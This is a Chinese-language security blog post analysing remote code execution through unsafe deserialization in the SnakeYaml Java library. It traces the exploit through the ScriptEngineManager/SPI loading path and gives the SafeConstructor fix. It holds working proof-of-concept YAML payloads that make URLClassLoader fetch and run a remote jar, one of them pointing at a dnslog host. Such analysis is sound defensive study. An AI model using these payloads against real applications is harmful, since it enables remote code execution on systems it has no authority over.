Java安全之SnakeYaml反序列化分析

Java安全之SnakeYaml反序列化分析0x00前言偶然间看到SnakeYaml的资料感觉挺有意思,发现SnakeYaml也存在反序列化利用的问题。借此来分析一波。0x01SnakeYa

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之SnakeYaml反序列化分析

0x00 前言

偶然间看到SnakeYaml的资料感觉挺有意思,发现SnakeYaml也存在反序列化利用的问题。借此来分析一波。

0x01 SnakeYaml 使用

SnakeYaml 简介

SnakeYaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。

SnakeYaml 使用

导入依赖jar包

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

常用方法

String	dump(Object data)
将Java对象序列化为YAML字符串。
void	dump(Object data, Writer output)
将Java对象序列化为YAML流。
String	dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void	dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String	dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String	dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T	load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T	load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T	load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object>	loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>	loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>	loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。

序列化

Myclass类:

package test;
public class MyClass {
    String value;
    public MyClass(String args) {
        value = args;
    }

    public String getValue(){
        return value;
    }
}

Test类:

@Test
    public  void test() {

    MyClass obj = new MyClass("this is my data");

    Map<String, Object> data = new HashMap<String, Object>();
    data.put("MyClass", obj);
    Yaml yaml = new Yaml();
    String output = yaml.dump(data);
    System.out.println(output);
}
}

结果:

MyClass: !!test.MyClass {}

前面的!!是用于强制类型转化,强制转换为!!后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。

反序列化

yaml文件:

firstName: "John"
lastName: "Doe"
age: 20

测试类:

@Test
    public  void test(){
        Yaml yaml = new Yaml();
        InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test1.yaml");
        Object load = yaml.load(resourceAsStream);
        System.out.println(load);
    }
}

执行结果:

{firstName=John, lastName=Doe, age=20}

0x02 漏洞分析

漏洞复现

首先还是先来复现一下漏洞,能进行利用后再进行分析利用过程。

下面来看到一段POC代码:

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://fnsdae.dnslog.cn\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(context);
    } 
}

Java安全之SnakeYaml反序列化分析

成功获取dnslog请求,但是这poc也只能探测是否进行了反序列化。如果需要利用的话还需要构造命令执行的代码。

利用脚本其实已经有师傅写好了。转到这个github项目下下载该项目。打开修改代码。

Java安全之SnakeYaml反序列化分析

脚本也比较简单,就是实现了ScriptEngineFactory接口,然后在静态代码块处填写需要执行的命令。将项目打包后挂载到web端,使用payload进行反序列化后请求到该位置,实现java.net.URLClassLoader调用远程的类进行执行命令。

python -m http.server --cgi 8888

测试代码:

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(context);
    }

}

Java安全之SnakeYaml反序列化分析

命令执行成功。

SPI机制

在漏洞分析前先来了解一下SPI机制,在前面使用的执行代码的payload中看到使用ScriptEngineManager类来进行构造,其实ScriptEngineManager利用的的底层也是SPI机制。

SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。

那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

Java安全之SnakeYaml反序列化分析

在第一次听说SPI还是在看JDBC底层实现的时候,但是并没有去做多的了解。这里拿JDBC来举个例子。

SPI是一种动态替换发现的机制,比如有个接口,想运行时动态的给它添加实现,你只需要添加一个实现。

来看到连接驱动的jar包,这里就是在Java classpath 下的 META-INF/services/ 定义实现类。

Java安全之SnakeYaml反序列化分析

Java安全之SnakeYaml反序列化分析

Java安全之SnakeYaml反序列化分析

而数据库有很多种类型,而实现方式不尽相同,而在实现各种连接驱动的时候,只需要添加java.sql.Driver实现接口,然后Java的SPI机制可以为某个接口寻找服务实现,就实现了各种数据库的驱动连接。

实现细节:程序会java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。

漏洞分析

先来简单讲讲我理解的该漏洞利用的过程,建立在未对该漏洞分析前。

前面说到SPI会通过java.util.ServiceLoder进行动态加载实现,而在刚刚的exp的代码里面实现了ScriptEngineFactory并在META-INF/services/ 里面添加了实现类的类名,而该类在静态代码块处是我们的执行命令的代码,而在调用的时候,SPI机制通过Class.forName反射加载并且newInstance()反射创建对象的时候,静态代码块进行执行,从而达到命令执行的目的。

下面开始调试分析漏洞,在漏洞位置下断点

Java安全之SnakeYaml反序列化分析

这里调用this.loadFromReader跟踪查看

Java安全之SnakeYaml反序列化分析

以上就是各种赋值,需要注意的是数据的流向,这里没啥好看的,来步进到下面,下面的返回值调用constructor.getSingleData跟踪。

Java安全之SnakeYaml反序列化分析

这里并没有走到判断体里面而是直接返回并且调用了this.constructDocument(),跟进。

Java安全之SnakeYaml反序列化分析

这里调用this.constructObject就返回了一个Object对象,所以继续从这个方法跟进进去,查看实现。

Java安全之SnakeYaml反序列化分析

跟进constructObjectNoCheck

Java安全之SnakeYaml反序列化分析

这个点先跟踪 getConstructor

Java安全之SnakeYaml反序列化分析

Java安全之SnakeYaml反序列化分析

这里还是返回了一个反射的class对象,继续跟。

Java安全之SnakeYaml反序列化分析

这里获取了name的值为javax.script.ScriptEngineManager,然后调用getClassForName对name进行传入获取cl的class对象。跟踪getClassForName

Java安全之SnakeYaml反序列化分析

在这里就可以看到使用反射创建了一个javax.script.ScriptEngineManager对象的具体实现,而后面代码则是一些赋值的。执行到下一步来到了这个。

Java安全之SnakeYaml反序列化分析

跟踪construct方法查看,到了这部分其实就已经到了关键部分。

Java安全之SnakeYaml反序列化分析

看到这段代码创建了一个array数组,并且调用node.getType.getDeclaredConstructors();赋值给arr$数组,回想前面的分析中,获取的name,也就是利用了javax.script.ScriptEngineManagerClass.forName进行创建反射对象并且赋值给note的type里面。而后这里getDeclaredConstructors()获取它的无参构造方法。

然后将获取到的arr数组添加到possibleConstructors

Java安全之SnakeYaml反序列化分析

而后将获取到的possibleConstructors获取到的第一个数组进行赋值并转换成Constructor类型

Java安全之SnakeYaml反序列化分析

这里回去遍历获取snode的值。

Java安全之SnakeYaml反序列化分析

这里进行使用反射实例化对象。

Java安全之SnakeYaml反序列化分析

到了这里以为就结束了嘛?不是的,其实我们现在只是知道了javax.script.ScriptEngineManager是如何进行实例化的,但我们并不知道javax.script.ScriptEngineManager实例化后是如何触发的代码执行。下面可以来跟踪一下SPI机制是怎么实现的。

Java安全之SnakeYaml反序列化分析

在前面反射调用无参构造方法后,会走到这里,下面调用init方法跟踪一下。

Java安全之SnakeYaml反序列化分析

跟踪

Java安全之SnakeYaml反序列化分析

Java安全之SnakeYaml反序列化分析

看到这里其实就和前面讲到的SPI机制一样,调用getServiceLoader动态加载类,这里先在慢慢往下看

Java安全之SnakeYaml反序列化分析

跟进该地方会看到调用hasNextService方法

Java安全之SnakeYaml反序列化分析

这里会去META-INF/services/javax.script.ScriptEngineFactory获取实现类的信息

下面再来跟进itr.text

Java安全之SnakeYaml反序列化分析

Java安全之SnakeYaml反序列化分析

这里会去实例化接口的实现类

Java安全之SnakeYaml反序列化分析

Java安全之SnakeYaml反序列化分析

走到这一步命令执行成功。

0x03 漏洞修复

其实该漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击

修复方案:加入new SafeConstructor()类进行过滤

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(context);
    }

}

Java安全之SnakeYaml反序列化分析

再次进行反序列化会抛异常。

再者就是拒绝不安全的反序列化操作,反序列化数据前需要经过校验或拒绝反序列化数据可控。

0x04 结尾

在审计中其实就可以直接定位yaml.load();,然后进行回溯,如若参数可控,那么就可以尝试传入payload。但又出现另外一个问题,假如不出网的情况,是不是有很好的解决方案呢?

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119882.html原文链接:https://javaforall.net

(1)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 用自己的电脑搭建Web服务器建网站

    用自己的电脑搭建Web服务器建网站    这个也是个醉,上课时候在机房搭建成功了,结果回来很长时间没有管,居然给忘了,最近要写电子商务的作业,没办法,只能在捡起来了,又在自己电脑上搭建了一遍,过程都忘了,结果叫好友帮忙,谁知还是不行,还好我记得默认文档要改,这才成功搭建出来,不说了,开始今天的主题吧。搭建Web服务器建网站过程:1、当然是启用功能了window控制面板–&gt;程序与功能–&gt;启用或关闭W…

    2022年5月28日
    40
  • hdu 4507 数位dp(求和,求平方和)[通俗易懂]

    hdu 4507 数位dp(求和,求平方和)

    2022年1月24日
    40
  • Pytest(13)命令行参数–tb的使用[通俗易懂]

    Pytest(13)命令行参数–tb的使用[通俗易懂]前言pytest使用命令行执行用例的时候,有些用例执行失败的时候,屏幕上会出现一大堆的报错内容,不方便快速查看是哪些用例失败。–tb=style参数可以设置报错的时候回溯打印内容,可以设置参

    2022年7月28日
    7
  • 如何偷窥到socket对应的内核缓冲区中有什么数据? 有多少数据?—利用recv的MSG_PEEK和ioctlsocket的FIONREAD

    如何偷窥到socket对应的内核缓冲区中有什么数据? 有多少数据?—利用recv的MSG_PEEK和ioctlsocket的FIONREAD很多时候,应用程序仅仅想知道内核缓冲区中有什么数据,或者想知道有多少数据可读,也就是说,应用程序仅仅想偷窥一下里面的数据,并不是想偷取,那怎么办呢?事实上,我们之前已经大致说过,现在,我们继续来复习一下recv的MSG_PEEK:服务端程序为:#include#include//winsock接口#pragmacomm

    2022年7月23日
    10
  • 茅台抢购脚本详细教程, 另已将茅台抢购做成了一个软件

    今天对软件进行了升级,公众号上重新回复茅台获取最新软件!!最新软件解压后如图!以管理员方式运行main.exe软件最后抢购成功是不会主动付款的,要自己去APP支付注意使用茅台软件版抢购的朋友需要自己先去app上预约抢购!!!预约完之后,运行软件,输入2按回车键!,等待到指定时间开始抢购!!!别再问我为什么没动了!因为还没到抢购时间!!别再问我为什么没动了!因为还没到抢购时间!!别再问我为什么没动了!因为还没到抢购时间!!文章上有详细说明的,就不要再问我了!!看文章就对了,问我也

    2022年4月6日
    2.9K
  • Apache配置虚拟主机出现forbidden的问题

    Apache配置虚拟主机出现forbidden的问题1.httpd.conf中配置过网站根目录该配置文件的250行左右,修改了根目录①httpd.conf配置文件中这两处都要修改②httpd-vhosts.conf配置文件中检查DocumentRoot是不是有默认值,有的话要修改根目录③重启Apache服务,清空浏览器缓存2.httpd-vhosts.conf中配置过虚拟主机httpd.conf配置中文件中找到VirtualHost,…

    2025年11月22日
    6

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号